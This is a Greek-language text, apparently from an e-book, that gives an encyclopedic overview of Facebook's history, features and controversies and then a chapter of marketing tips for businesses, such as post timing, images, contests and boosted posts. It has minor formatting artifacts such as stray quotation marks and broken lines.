Το Facebook είναι μία διαδικτυακή υπηρεσία κοινωνικής δικτύωσης που ανήκει στην Αμερικανική εταιρεία Meta Platforms. Ιδρύθηκε το 2004 από τον Μάρκ Ζούκερμπεργκ, τους συμφοιτητές και συγκάτοικους του στο Χάρβαρντ, τους Eduardo Saverin, Andrew McCollum, Dustin Moskovitz και Chris Hughes, και το όνομά της προέρχεται από τους καταλόγους face book που δίνονται συχνά σε Αμερικανούς φοιτητές πανεπιστημίων. Αρχικά, η ιδιότητα του μέλους περιορίστηκε σε φοιτητές του Χάρβαρντ, αλλά σταδιακά επεκτάθηκε σε άλλα πανεπιστήμια στη Βόρεια Αμερική και, από το 2006, σε όλους τους πολίτες άνω των 13 ετών. Από το 2020, το Facebook υποστήριξε ότι είχε 2,8 δισεκατομμύρια ενεργούς χρήστες σε

μηνιαία βάση και κατέλαβε την τέταρτη θέση στην παγκόσμια χρήση του διαδικτύου. Επίσης, ήταν η εφαρμογή για κινητά με τις περισσότερες λήψεις στη δεκαετία του 2010. Η πρόσβαση στο Facebook είναι δυνατή από συσκευές με σύνδεση στο Διαδίκτυο, όπως προσωπικοί υπολογιστές, tablet και smartphones. Μετά την εγγραφή τους, οι χρήστες μπορούν να δημιουργήσουν ένα προφίλ αποκαλύπτοντας πληροφορίες για τον εαυτό τους. Μπορούν να δημοσιεύουν κείμενα, φωτογραφίες και πολυμέσα τα οποία μοιράζονται με όλους τους άλλους χρήστες που έχουν συμφωνήσει να γίνουν "φίλοι" τους ή, με διαφορετικές ρυθμίσεις απορρήτου, δημόσια. Οι χρήστες μπορούν επίσης να επικοινωνούν απευθείας μεταξύ τους με το Facebook Messenger, να συμμετέχουν σε ομάδες ενδιαφερόντων και να λαμβάνουν ειδοποιήσεις για τις δραστηριότητες των φίλων τους στο Facebook και τις σελίδες που ακολουθούν. Αντικείμενο πολυάριθμων αντιπαραθέσεων, το Facebook έχει συχνά επικριθεί για θέματα όπως η ιδιωτικότητα των χρηστών (όπως με το σκάνδαλο δεδομένων της Cambridge Analytica), η πολιτική χειραγώγηση (όπως με τις εκλογές του 2016 στις ΗΠΑ) και η μαζική επιτήρηση. Οι αναρτήσεις που προέρχονται από τη σελίδα στο Facebook της Breitbart News, ενός οργανισμού μέσων ενημέρωσης που προηγουμένως συνδέθηκε με την Cambridge Analytica, είναι σήμερα μεταξύ του πιο ευρέως διαμοιραζόμενου πολιτικού περιεχομένου στο Facebook. Το Facebook έχει επίσης υποστεί κριτική για ψυχολογικές”επιπτώσεις όπως ο εθισμός και η χαμηλή αυτοεκτίμηση, καθώς και διάφορες διαμάχες σχετικά με περιεχόμενο όπως ψευδείς ειδήσεις, θεωρίες συνωμοσίας, παραβίαση πνευματικών δικαιωμάτων και ρητορική μίσους. Σχολιαστές έχουν κατηγορήσει το Facebook”ότι διευκολύνει οικειοθελώς τη διάδοση τέτοιου περιεχομένου καθώς και ότι υπερβάλλει στον αριθμό των χρηστών του για να προσελκύσει διαφημιστές.

Προφίλ χρήστη/προσωπικό χρονολόγιο/Οθόνη σύνδεσης/εγγραφή στο Facebook Κάθε εγγεγραμμένος χρήστης στο Facebook έχει ένα προσωπικό προφίλ που δείχνει τις αναρτήσεις και το περιεχόμενό του. Η μορφή των ατομικών σελίδων των χρηστών ανανεώθηκε τον Σεπτέμβριο του 2011 και έγινε γνωστή ως "Χρονολόγιο", μια χρονολογική ροή των ιστοριών ενός χρήστη συμπεριλαμβανομένων των ενημερώσεων κατάστασης, των φωτογραφιών, των αλληλεπιδράσεων με εφαρμογές και των γεγονότων. Η διάταξη επιτρέπει στους χρήστες να προσθέσουν μια "φωτογραφία εξωφύλλου. Το 2007, το Facebook εγκαινίασε τις Σελίδες του Facebook για εμπορικά σήματα και διασημότητες για να αλληλοεπιδρούν με τη βάση των θαυμαστών τους, 100.000 σελίδες ξεκίνησαν το Νοέμβριο. Τον Ιούνιο του 2009, το Facebook εισήγαγε τη λειτουργία "Usernames", επιτρέποντας στους χρήστες να επιλέξουν ένα μοναδικό ψευδώνυμο που χρησιμοποιείται στη διεύθυνση URL για το προσωπικό τους προφίλ, για ευκολότερη κοινή χρήση. Τον Φεβρουάριο του 2014, το Facebook επέκτεινε τη ρύθμιση φύλου, προσθέτοντας ένα προσαρμοσμένο πεδίο εισαγωγής που επιτρέπει στους χρήστες να επιλέξουν από ένα ευρύ φάσμα ταυτοτήτων φύλου. Οι χρήστες μπορούν επίσης να ορίσουν ποιο σύνολο αντωνυμιών συγκεκριμένου φύλου θα πρέπει να χρησιμοποιείται σε αναφορά σε αυτούς σε ολόκληρο τον ιστότοπο. Τον Μάιο του 2014, το Facebook εισήγαγε μια λειτουργία που επιτρέπει στους

χρήστες να ζητούν πληροφορίες που δεν αποκαλύπτονται από άλλους χρήστες στο προφίλ τους. Εάν ένας χρήστης δεν παρέχει βασικές πληροφορίες, όπως η τοποθεσία, η γενέτειρα ή η κατάσταση σχέσης, οι άλλοι χρήστες μπορούν να χρησιμοποιήσουν ένα νέο κουμπί "ask" για να στείλουν ένα μήνυμα που ρωτάει για το συγκεκριμένο στοιχείο στον χρήστη με ένα μόνο κλικ.

Ροή ειδήσεων (News Feed) Το News Feed εμφανίζεται στην αρχική σελίδα κάθε χρήστη και προβάλλει πληροφορίες όπως αλλαγές στο προφίλ, επερχόμενα γεγονότα και γενέθλια φίλων. Αυτό επέτρεψε”spammers και άλλους χρήστες να χειραγωγήσουν αυτές τις λειτουργίες δημιουργώντας παράνομες εκδηλώσεις ή δημοσιεύοντας ψεύτικα γενέθλια για να προσελκύσουν την προσοχή στο προφίλ τους ή στο σκοπό τους. Αρχικά, το News Feed προκάλεσε δυσαρέσκεια στους χρήστες του Facebook κάποιοι παραπονέθηκαν ότι ήταν πολύ ακατάστατο και γεμάτο ανεπιθύμητες πληροφορίες, άλλοι ανησυχούσαν ότι έκανε πολύ εύκολο για άλλους να παρακολουθούν ατομικές δραστηριότητες (όπως αλλαγές στην κατάσταση της σχέσης, γεγονότα και συζητήσεις με άλλους χρήστες. Ο Ζούκερμπεργκ ζήτησε συγγνώμη για την αποτυχία του ιστότοπου να συμπεριλάβει τα κατάλληλα χαρακτηριστικά για προστασίας της ιδιωτικής ζωής. Στη συνέχεια, οι χρήστες απέκτησαν έλεγχο σχετικά με τους τύπους πληροφοριών που μοιράζονται αυτόματα με τους φίλους τους. Οι χρήστες είναι πλέον σε θέση να αποτρέψουν τις κατηγορίες φίλων που έχουν οριστεί από τον χρήστη από το να βλέπουν ενημερώσεις σχετικά με ορισμένους τύπους δραστηριοτήτων, συμπεριλαμβανομένων των αλλαγών στο προφίλ, των αναρτήσεων στον τοίχο και των νεοπροστιθέμενων φίλων.

Ιστορική αναδρομή Στις 23 Φεβρουαρίου 2010, το Facebook έλαβε δίπλωμα ευρεσιτεχνίας για ορισμένες πτυχές της ροής ειδήσεων. Το δίπλωμα ευρεσιτεχνίας καλύπτει τις ροές ειδήσεων στις οποίες παρέχονται σύνδεσμοι ώστε ένας χρήστης να μπορεί να συμμετέχει στη δραστηριότητα ενός άλλου χρήστη. Η ταξινόμηση και η εμφάνιση των ιστοριών στις ροές ειδήσεων ενός χρήστη διέπεται από τον αλγόριθμο EdgeRank. Στις 7 Ιουνίου 2012, το Facebook εγκαινίασε το App Center για να βοηθήσει τους χρήστες να βρουν παιχνίδια και άλλες εφαρμογές.

Στις 13 Μαΐου 2015, το Facebook σε συνεργασία με μεγάλες ειδησεογραφικές πύλες εγκαινίασε τα "Instant Articles" για την παροχή ειδήσεων στην ροή ειδήσεων του Facebook”χωρίς να εγκαταλείπει την ιστοσελίδα. Τον Ιανουάριο του 2017, το Facebook λάνσαρε το Facebook Stories για iOS και Android στην Ιρλανδία. Η λειτουργία, ακολουθώντας τη μορφή των ιστοριών του Snapchat και του”Instagram, επιτρέπει στους χρήστες να ανεβάζουν φωτογραφίες και βίντεο που εμφανίζονται πάνω από τα News Feeds των φίλων και των ακολούθων τους και εξαφανίζονται μετά από 24 ώρες. Στις 11 Οκτωβρίου 2017, το Facebook εισήγαγε τη λειτουργία 3D Posts για να επιτρέπει τη μεταφόρτωση διαδραστικών 3D στοιχείων. Στις 11 Ιανουαρίου 2018, το Facebook ανακοίνωσε ότι θα αλλάξει το News Feed για να δώσει προτεραιότητα στο περιεχόμενο φίλων/οικογένειας και να αποπροσανατολίσει το περιεχόμενο από εταιρείες μέσων ενημέρωσης. Τον Φεβρουάριο του 2020, το Facebook ανακοίνωσε ότι θα δαπανήσει 1 δισεκατομμύριο δολάρια για την αδειοδότηση ειδησεογραφικού υλικού από εκδότες για τα επόμενα τρία χρόνια, μια υπόσχεση που έρχεται καθώς η εταιρεία βρίσκεται υπό τον έλεγχο κυβερνήσεων σε όλο τον κόσμο για τη μη πληρωμή του ειδησεογραφικού περιεχομένου που εμφανίζεται στην πλατφόρμα. Η υπόσχεση θα είναι επιπλέον των 600 εκατομμυρίων δολαρίων που καταβλήθηκαν από το 2018 μέσω συμφωνιών με ειδησεογραφικές εταιρείες όπως η The Guardian και οι Financial Times. Τον Μάρτιο και τον Απρίλιο του 2021, σε απάντηση στην ανακοίνωση από την Apple των αλλαγών στην πολιτική αναγνώρισης για διαφημιστές της συσκευής iOS, η οποία περιλάμβανε την απαίτηση από τους προγραμματιστές εφαρμογών να ζητούν απευθείας από τους χρήστες τη δυνατότητα παρακολούθησης σε βάση opt-in, το Facebook αγόρασε ολοσέλιδες διαφημίσεις σε εφημερίδες προσπαθώντας να πείσει τους χρήστες να επιτρέψουν την παρακολούθηση, τονίζοντας τις επιπτώσεις που έχουν οι στοχευμένες διαφημίσεις στις μικρές επιχειρήσεις. Οι προσπάθειες του Facebook ήταν τελικά ανεπιτυχείς, καθώς η Apple κυκλοφόρησε το iOS 14.5 στα τέλη Απριλίου 2021, που περιείχε το χαρακτηριστικό για τους χρήστες σε αυτό που θεωρήθηκε "Διαφάνεια παρακολούθησης εφαρμογών". Επιπλέον, τα στατιστικά στοιχεία της θυγατρικής της Verizon Communications, Flurry Analytics, δείχνουν ότι το 96% όλων των χρηστών iOS στις Ηνωμένες Πολιτείες δεν επιτρέπουν καθόλου την παρακολούθηση και μόνο το 12% των παγκόσμιων χρηστών

iOS”επιτρέπουν την παρακολούθηση, κάτι που ορισμένα ειδησεογραφικά πρακτορεία θεωρούν "εφιάλτη του Facebook", μεταξύ παρόμοιων όρων. Παρά τις ειδήσεις, το Facebook δήλωσε ότι η νέα πολιτική και η ενημέρωση λογισμικού θα είναι "διαχειρίσιμη".

Εφαρμογή Φωτογραφίες Η εφαρμογή Φωτογραφίες επιτρέπει στους χρήστες να ανεβάζουν άλμπουμ και φωτογραφίες. Κάθε άλμπουμ μπορεί να περιέχει 200 φωτογραφίες, οι ρυθμίσεις απορρήτου ισχύουν για μεμονωμένα άλμπουμ. Οι χρήστες μπορούν να "μαρκάρουν", ή να επισημάνουν, φίλους σε μια φωτογραφία. Ο φίλος λαμβάνει μια ειδοποίηση σχετικά με την ετικέτα με έναν σύνδεσμο προς τη φωτογραφία. Αυτή η λειτουργία ετικετοποίησης φωτογραφιών αναπτύχθηκε από τον Aaron Sittig, τώρα επικεφαλής σχεδιαστικής στρατηγικής στο Facebook και τον πρώην μηχανικό του Facebook Scott Marlette το 2006 και έλαβε δίπλωμα ευρεσιτεχνίας μόλις το 2011.

Κουμπί Like Το κουμπί "like", που είναι στυλιζαρισμένο ως εικονίδιο "thumbs up", ενεργοποιήθηκε για πρώτη φορά στις 9 Φεβρουαρίου 2009 και επιτρέπει στους χρήστες να αλληλοεπιδρούν εύκολα με ενημερώσεις κατάστασης, σχόλια, φωτογραφίες, βίντεο και συνδέσμους που μοιράζονται από φίλους και διαφημίσεις. Αφού το πατήσει ένας χρήστης, το περιεχόμενο που έχει χαρακτηριστεί είναι πιο πιθανό να εμφανιστεί στις ροές ειδήσεων των φίλων του. Το κουμπί εμφανίζει τον αριθμό των άλλων χρηστών που έχουν κάνει like στο περιεχόμενο. Το κουμπί like επεκτάθηκε στα σχόλια τον Ιούνιο του 2010. Το 2016, το Facebook επέκτεινε το Like σε "Αντιδράσεις", επιλέγοντας ανάμεσα σε πέντε προκαθορισμένα συναισθήματα, όπως "Αγάπη", "Χαχα", "Ουάου", "Λυπημένος" ή "Θυμωμένος". Στα τέλη Απριλίου 2020, κατά τη διάρκεια της πανδημίας COVID-19, προστέθηκε μια νέα αντίδραση "Φροντίδα".

Άμεση ανταλλαγή μηνυμάτων (Facebook Messenger) Το Facebook Messenger είναι μια υπηρεσία άμεσων μηνυμάτων και μια εφαρμογή λογισμικού. Ξεκίνησε ως Facebook Chat το 2008, ανανεώθηκε το 2011 και τελικά έγινε μια αυτόνομη εφαρμογή για κινητά τον Αύγουστο του 2011, ενώ παρέμεινε μέρος της σελίδας του χρήστη στα προγράμματα περιήγησης.

Συμπληρώνοντας τις συνηθισμένες συνομιλίες, το Messenger επιτρέπει στους χρήστες να πραγματοποιούν κλήσεις φωνής και βίντεο από έναν προς έναν και ομαδικές Η εφαρμογή του για Android έχει ενσωματωμένη υποστήριξη για SMS και "Chat Heads", τα οποία είναι στρογγυλά εικονίδια φωτογραφιών προφίλ που εμφανίζονται στην οθόνη ανεξάρτητα από το ποια εφαρμογή είναι ανοιχτή, ενώ και οι δύο εφαρμογές υποστηρίζουν πολλαπλούς λογαριασμούς συνομιλίες με προαιρετική κρυπτογράφηση από άκρο σε άκρο και "Instant Games". Ορισμένες λειτουργίες, όπως η αποστολή χρημάτων και η αίτηση μεταφοράς, περιορίζονται στις Ηνωμένες Πολιτείες. Το 2017, το Facebook πρόσθεσε το "Messenger Day", μια λειτουργία που επιτρέπει στους χρήστες να μοιράζονται φωτογραφίες και βίντεο σε μορφή ιστορίας με όλους τους φίλους τους, με το περιεχόμενο να εξαφανίζεται μετά από 24 ώρες. Η εφαρμογή περιέχει τις Αντιδράσεις με τις οποίες οι χρήστες μπορούν να πατούν παρατεταμένα ένα μήνυμα για να προσθέσουν μια αντίδραση μέσω ενός emoji και επίσης, περιέχει τις Αναφορές, που επιτρέπει στους χρήστες σε ομαδικές συνομιλίες να πληκτρολογούν @ για να δώσουν μια ειδοποίηση σε έναν συγκεκριμένο χρήστη. Οι επιχειρήσεις και οι χρήστες μπορούν να αλληλοεπιδρούν μέσω του Messenger με λειτουργίες όπως η παρακολούθηση αγορών και η λήψη ειδοποιήσεων, καθώς και η αλληλεπίδραση με εκπροσώπους εξυπηρέτησης πελατών. Οι προγραμματιστές τρίτων μπορούν να ενσωματώσουν εφαρμογές στο Messenger, επιτρέποντας στους χρήστες να εισέλθουν σε μια εφαρμογή ενώ βρίσκονται μέσα στο Messenger και προαιρετικά να μοιραστούν λεπτομέρειες από την εφαρμογή σε μια συνομιλία. Οι προγραμματιστές μπορούν να δημιουργήσουν chatbots στο Messenger, για χρήσεις όπως οι εκδότες ειδήσεων που δημιουργούν bots για τη διανομή ειδήσεων. Ο εικονικός βοηθός M σαρώνει τις συνομιλίες για λέξεις-κλειδιά και προτείνει σχετικές ενέργειες, όπως το σύστημα πληρωμών του για χρήστες που αναφέρουν χρήματα. Τα ομαδικά chatbots εμφανίζονται στο Messenger ως "Chat Extensions". Μια καρτέλα "Ανακάλυψη" επιτρέπει την εύρεση bots και την ενεργοποίηση ειδικών, επώνυμων κωδικών QR που, όταν σαρωθούν, οδηγούν τον χρήστη σε ένα συγκεκριμένο bot.

Μάρκετινγκ σε πελάτες στο Facebook Η νούμερο ένα πιο δημοφιλής πλατφόρμα που πολλές επιχειρήσεις επιλέγουν να ξεκινήσουν το μάρκετινγκ είναι το Facebook και για έναν καλό λόγο. Το Facebook έχει πάνω από ένα δισεκατομμύριο ενεργά μέλη στον ιστότοπο του. Αυτό είναι ένα τεράστιο κοινό για το μάρκετινγκ, αλλά αυτό σημαίνει ότι πρέπει να είστε προσεκτικοί σχετικά με το πού ξοδεύετε

τα χρήματά σας για διαφήμιση και πρέπει να έχετε μια πολύ ξεκάθαρη ιδέα για το δημογραφικό προφίλ της μάρκας σας. Γνωρίζοντας ποιος θα ενδιαφερθεί για το προϊόν σας στο Facebook θα μπορούσε να ενισχύσει τις πωλήσεις σας πρωτοφανώς. Σε αυτό το κεφάλαιο, θα εξετάσουμε τα πιο σημαντικά χαρακτηριστικά και συμβουλές για το μάρκετινγκ στο Facebook. Δεν χρειάζεται να χρησιμοποιήσετε όλες αυτές τις συμβουλές, αλλά εστιάζοντας σε μερικές βασικές συμβουλές και χαρακτηριστικά μπορείτε να αυξήσετε σημαντικά τις πωλήσεις σας και την εμβέλεια της μάρκας σας. Ως επιχειρηματικό εργαλείο, το Facebook κυριαρχεί στη δημοτικότητα ως βασικό στοιχείο των περισσότερων στρατηγικών μάρκετινγκ για επιχειρήσεις. Ωστόσο, λόγω της μακροβιότητας των δημοσιεύσεων του Facebook, μπορεί να διαπιστώσετε ότι δυσκολεύεστε να βρείτε συνεχώς νέο περιεχόμενο και φρέσκες ιδέες για την εταιρεία σας ή τη σελίδα της μάρκας σας. Ενώ είναι δελεαστικό να γράψετε λίγο περιεχόμενο, να βρείτε κάποιες χαριτωμένες εικόνες, ή να δημοσιεύετε ασταμάτητα, προσεγγίζοντας το με κάποια στρατηγική θα βελτιώσει τις πιθανότητες να ασχοληθείτε με πολύτιμες συζητήσεις με τους πελάτες και το κοινό σας. Οι παρακάτω συμβουλές θα σας βοηθήσουν να αυξήσετε περισσότερη απήχηση στις προσπάθειες μάρκετινγκ που καταβάλλετε.

➢ Χρονισμός Ενώ εξαρτάται από το κοινό-στόχο σας, το περιεχόμενο, ο στόχος και ο συγχρονισμός των δημοσιεύσεών σας είναι κάτι που πρέπει να εξετάσετε σοβαρά. Κοιτάξτε το στοχευμένο κοινό σας, σημειώστε τις προσωπικότητές του και χρονομετρήστε τις αναρτήσεις σας αναλόγως. Για παράδειγμα, αν απευθύνεστε σε πολυάσχολες μητέρες που μένουν στο σπίτι, η καλύτερη ώρα για να τις προσεγγίσετε είναι πιθανότατα διαφορετική από την ώρα για την προσέγγιση εργένηδων. Ένας καλός τρόπος για να καταλάβετε ποιες ώρες λειτουργούν καλύτερα είναι μέσω δοκιμής και λάθους, αλλά υπάρχει και άλλος τρόπος για να να ξεκινήσετε με μεγαλύτερη ακρίβεια. Μελέτες έχουν ήδη διεξαχθεί για να προσδιοριστεί πότε οι διάφοροι τύποι ακροατήρια είναι”online, αλλά ένα καλό σημείο εκκίνησης είναι να ξεκινήσετε να δημοσιεύετε τις Πέμπτες και τις Παρασκευές, επειδή αυτές είναι οι πιο ενεργές ημέρες στο Facebook. Τα ποσοστά δέσμευσης αρχίζουν να πέφτουν κατά 3,5% κάτω από το μέσο όρο από τη Δευτέρα

έως Τετάρτη. Επιπλέον, το απόγευμα είναι η καλύτερη ώρα για να δημοσιεύσετε για να πάρετε ένα share, και στις τρεις είναι η καλύτερη ώρα για να δημοσιεύσετε για να κάνετε κλικ. Ωστόσο, αυτές δεν είναι οι πιο δημοφιλείς ώρες για αναρτήσεις στο Facebook. Είναι ο συγχρονισμός της ανάρτησής σας που θα δείξει μια αύξηση της εμπλοκής και όχι οι δημοφιλείς ώρες για το κοινό σας να κάνει αναρτήσεις.

➢ Εικόνες Πιθανότατα το έχετε ακούσει αυτό ένα εκατομμύριο φορές, αλλά τα οφέλη της προσθήκης εικόνων στις αναρτήσεις που δημοσιεύετε στο Facebook δεν μπορεί να τονιστεί αρκετά. Οι φωτογραφίες θα λάβουν 84% περισσότερα κλικ σε συνδέσμους και 53% περισσότερες συμπάθειες στο Facebook σε σχέση με την μέση ανάρτηση. Ακολουθούν ορισμένες χρήσιμες συμβουλές για τις εικόνες στο Facebook. 1. Μοιραστείτε εικόνες πραγματικών ανθρώπων” 2. Χρησιμοποιήστε εικόνες τρόπου ζωής αντί για εικόνες προϊόντων 3. Επικεντρωθείτε στα πρόσωπα των ανθρώπων” 4. Να είστε περιεκτικοί 5. Δημιουργήστε γκαλερί” 6. Ενθαρρύνετε τη σύντομη απάντηση 7. Χρησιμοποιήστε τη νοσταλγία προς όφελός σας” ➢ Διαγωνισμοί Οι άνθρωποι λατρεύουν να παίρνουν δωρεάν πράγματα. Ο ενθουσιασμός του να πάρουν ίσως κάτι δωρεάν είναι ένα από τα καλύτερα κίνητρα και πιθανότατα θα έχει πολύ μικρό κόστος για την επιχείρησή σας όταν σε σύγκριση με την αναγνωρισιμότητα που θα αποκτήσει η μάρκα σας από την διαγωνισμό. Οι κυριότεροι λόγοι για τους οποίους οι άνθρωποι κάνουν "like" σε μάρκες στο Facebook είναι οι εξής και να μπορούν να λάβουν μια έκπτωση, μια προσφορά ή ένα δώρο. Ενώ η ιδέα της αύξησης της δέσμευσης είναι καλή, υπάρχουν επτά πραγματικές αποδόσεις των επενδύσεων που παρατηρούνται με τη χρήση των διαγωνισμών στο Facebook για εμπορικά σήματα.

1. Αυξάνει τη βάση των θαυμαστών σας” 2. Ενισχύει την επισκεψιμότητά σας 3. Παράγει περιεχόμενο που δημιουργείται από χρήστες” 4. Δημιουργεί γνώμες της αγοράς-στόχου 5. Αυξάνει την virality και τις κοινοποιήσεις” 6. Δημιουργεί συζητήσεις 7. Αυξάνει τη λίστα email σας”

➢ Crowdsourced απαντήσεις Ένα

από

τα

οφέλη

της

φιλοξενίας

διαγωνισμών

στο

Facebook

είναι

μια

crowdsourcing”ανατροφοδότηση από τους πελάτες και το κοινό για την ενίσχυση τη δέσμευσή σας στο Facebook. Το Crowdsourcing είναι ένα είδος κοινωνικής ακρόασης, το οποίο είναι απαραίτητο για τις στρατηγικές στα μέσα κοινωνικής δικτύωσης. Το αγαπημένο θέμα συζήτησης όλων είναι ο εαυτός τους, οπότε απευθυνόμενοι στους οπαδούς σας στο”Facebook για να λάβετε απόψεις και ιδέες για κάτι είναι ένας εξαιρετικός τρόπος για την αύξηση της δέσμευσης. Κάντε μια απλή ερώτηση στους τρέχοντες θαυμαστές σας στο Facebook ή χρησιμοποιήστε μια δημοσκόπηση για να τους κάνετε να ψηφίσουν για μια ερώτηση, και θα έχετε ένα εύκολο τρόπο να δείτε ακριβώς τι πιστεύουν και τι θέλουν οι πελάτες και το κοινό σας. Ακολουθούν μερικές προτάσεις για crowdsourcing για να αξιοποιήσετε στο έπακρο το κοινό σας. 1. Συλλέξτε μαρτυρίες χρησιμοποιώντας ερωτήσεις” 2. Συγκεντρώστε τα σχόλια της θέσης σας” 3. Ζητήστε από τους θαυμαστές σας να στείλουν φωτογραφίες με τα προϊόντα που έχουν αγοράσει από τη μάρκα σας” 4. Διεξάγετε έναν διαγωνισμό φωτογραφίας και συλλέξτε εικόνες των”μάρκας 5. Εκτελέστε έναν διαγωνισμό”

➢ Ενισχύστε τις δημοσιεύσεις Αν και υπάρχει κάποια συζήτηση σχετικά με αυτή την πρακτική, η ενίσχυση μιας ανάρτησης της εταιρείας στο Facebook εξακολουθεί να είναι ένας καλός τρόπος για να βελτιωθεί η εμβέλεια και η δυνατότητα δέσμευσης με το κοινό σας. Όταν προσδιορίσετε το κοινό-στόχο σας, μπορείτε να εστιάσετε σε αυτούς που θέλετε να προσεγγίσετε μέσω της ενίσχυσης των δημοσιεύσεών σας. Οι ενισχυμένες αναρτήσεις είναι αναρτήσεις για τις οποίες καταβάλλεται πληρωμή και οι οποίες εμφανίζονται υψηλότερα στο news feed του κοινού. Η αμοιβή εξαρτάται από το πόσους ανθρώπους θα θέλατε να προσεγγίσετε και η πληρωμή θα εξαρτηθεί από τον αριθμό των εμφανίσεων που έχει η ανάρτηση με την πάροδο του χρόνου. Δεν θέλετε να ενισχύσετε κάθε ανάρτηση που κάνετε στο Facebook, αλλά πράγματα όπως οι διαγωνισμοί και οι πολύ ενεργές αναρτήσεις θα πρέπει να ενισχύονται. Θα θέλετε να εξετάσετε την ενίσχυση των αναρτήσεων επειδή: 1. Θα βοηθήσει στην προώθηση των προϊόντων ή των υπηρεσιών σας που προσφέρονται από την επωνυμία ή την επιχείρησή σας. 2. Θα ενθαρρύνει τις επισκέψεις στον ιστότοπο της εταιρείας. 3. Θα διαδώσει την ευαισθητοποίηση σε ένα περιορισμένης διάρκειας καμπάνια που πραγματοποιείτε. Βρείτε πληροφορίες για το κοινό, αυτή η συμβουλή πηγαίνει μαζί με τις απαντήσεις crowdsourcing, και για έναν πολύ καλό λόγο. Οι αναρτήσεις, οι δραστηριότητες, τα σχόλια και τα άλλα είδη εμπλοκής που συναντάτε με τις σελίδα της μάρκας στο Facebook θα σας προσφέρουν πολύτιμες πληροφορίες για να λάβετε υπόψη σας. Θα δείτε τι είδους περιεχόμενο έχει το κοινό σας που πρόκειται να ανταποκριθεί, τι είδους περιεχόμενο πρόκειται να αγνοήσει και θα μπορείτε να καθορίσετε σε ποιο περιεχόμενο θα έπρεπε να επικεντρωθείτε. Επιπλέον, θα είστε σε θέση να περιορίσετε τι είναι το κοινό σας και να επικεντρωθείτε σε αυτό το δημογραφικό κοινό. Το Facebook σας διευκολύνει εξαιρετικά με το δικό του Audience Insights, όπου μπορείτε να δείτε ποιο είναι το κοινό σας που ασχολείται. Θα ξέρετε αν πρέπει να δημοσιεύσετε περισσότερο κείμενο, φωτογραφίες ή βίντεο και τι ύφος πρέπει να έχουν αυτές οι αναρτήσεις.

Δώστε τους μοναδικό και πολύτιμο περιεχόμενο. Αυτό μπορεί να φαίνεται λίγο προφανές, αλλά ο αριθμός των εταιρειών και εμπορικών σημάτων που βασίζονται σε πληροφορίες είναι προφανώς ανακυκλωμένες ή μπαγιάτικες, δείχνει το βαθμό της χαμένης ευκαιρίες που υπάρχει στο Facebook. Ελπίζουμε ότι έχετε αναγνωρίσει ποιος είναι ο πελάτης-στόχος και το κοινό σας, οπότε πρέπει να εξετάσετε προσεκτικά το περιεχόμενο που πρόκειται να βρουν. Μια έφηβη, προαστιακή κοπέλα πιθανότατα δεν πρόκειται να ενδιαφερθεί για τους τέσσερις τρόπους αποθήκευσης ντομάτας. Η κοινή σας λογική θα σας βοηθήσει με ερωτήσεις οπότε αφιερώστε ένα επιπλέον δευτερόλεπτο για να σταματήσετε και να σκεφτείτε το κοινό σας, θα σας βοηθήσει πολύ και θα σας βάλει πάνω από τον ανταγωνισμό σας. Να θυμάστε ότι το προϊόν ή η μάρκα σας είναι μοναδική. Είτε έχετε ή δεν έχετε άμεσο ανταγωνισμό δεν έχει σημασία, υπάρχουν πράγματα που κάνει το προϊόν ή την υπηρεσία σας μοναδική και κανένας άλλος δεν μπορεί να ισχυριστεί, οπότε εκμεταλλευτείτε και αναδείξτε τα μέσω της σελίδας σας στο Facebook. Υπάρχουν πράγματα που μπορούν να κάνουν οι πελάτες που δεν μπορούσαν να κάνουν πριν χάρη στο προϊόν σας; Παρουσιάστε φωτογραφίες τους που κάνουν αυτά τα πράγματα, ή παρέχετε βίντεο με το προϊόν ή την υπηρεσία σας με το να βοηθάει κάποιον. Αν είστε ειδικός στον τομέα σας, προσφέρετε τους λύσεις και συμβουλές μέσω της σελίδας σας στο Facebook. Οι δυνατότητες είναι σχεδόν ατελείωτες, οπότε αφιερώστε χρόνο για να καθίσετε και να σκεφτείτε για το πώς η μάρκα και τα προϊόντα σας διαφέρουν από τον ανταγωνισμό, και στη συνέχεια να τα αναδείξετε στις αναρτήσεις σας.

➢ Απόκτηση email με το ActionSprout Οι περισσότεροι άνθρωποι καταλαβαίνουν ότι το πραγματικό πεδίο μάχης στο Facebook δεν είναι η σελίδα του Facebook, αλλά οι ροές ειδήσεων. Στην πραγματικότητα, πολύ λίγοι χρήστες επισκέπτονται πραγματικά τη σελίδα. Αλληλοεπιδρούν με τις ενημερώσεις της σελίδας που βρίσκονται στις ροές ειδήσεών τους. Το πρόβλημα με τις περισσότερες εφαρμογές σελίδων για το Facebook είναι ότι απαιτούν από τον χρήστη να επισκεφθεί τη σελίδα. Για παράδειγμα, μια φωτογραφία διαγωνισμός απαιτεί από τον χρήστη να επισκεφθεί μια προσαρμοσμένη καρτέλα στη σελίδα Facebook της εταιρείας για να ανεβάσει τη φωτογραφία του και να υποβάλει τη συμμετοχή του στο διαγωνισμό. Ως εκ τούτου, πρέπει να εγκαταλείψουν το news feed τους, το οποίο είναι το σπίτι τους μακριά από το σπίτι τους,

προκειμένου να συμμετάσχουν στο διαγωνισμό. Το ActionSprout θα αφαιρέσει αυτό το εμπόδιο επιτρέποντάς σας να τοποθετήσετε τη δράση απόκτησης στις ροές ειδήσεών τους. Για παράδειγμα, ένας πελάτης μπορεί να υπογράψει ένα ψήφισμα, να”υποστηρίξει έργα ή να απαιτήσει προκλήσεις στις ροές ειδήσεών τους. Όταν κάνουν κλικ στη δράση στις ενημερώσεις τους, οδηγούνται σε μια ενιαία σελίδα όπου ολοκληρώνουν την ενέργεια. Αυτό δεν έχει σκοπό να αντικαταστήσει τις προσαρμοσμένες καρτέλες, αλλά είναι καλύτερο και χρησιμοποιείται ως ισχυρή προσθήκη στις προσαρμοσμένες καρτέλες σας. Ενισχύστε τις ανακοινώσεις νέων προϊόντων. Οι δημοσιεύσεις Boost στο Facebook εξακολουθούν να είναι πολύ αποτελεσματικές, ιδίως για τις μικρότερες επιχειρήσεις. Παρόλο που οι περισσότεροι ειδικοί θα συμβουλεύουν να μην χρησιμοποιούν τη λειτουργία, οι μικρές επιχειρήσεις μπορούν να επωφεληθούν από τις δημοσιεύσεις boost που ανακοινώνουν νέα προϊόντα. Ακριβώς επειδή πολλοί που διδάσκουν τα μέσα κοινωνικής δικτύωσης σας λένε να μην κάνετε boost posts, αυτό δεν σημαίνει ότι δεν λειτουργούν ή ότι δεν είναι αποτελεσματικές. Αμφισβητήστε τα πάντα και δοκιμάστε τις τακτικές και τις τεχνικές για τον εαυτό σας.

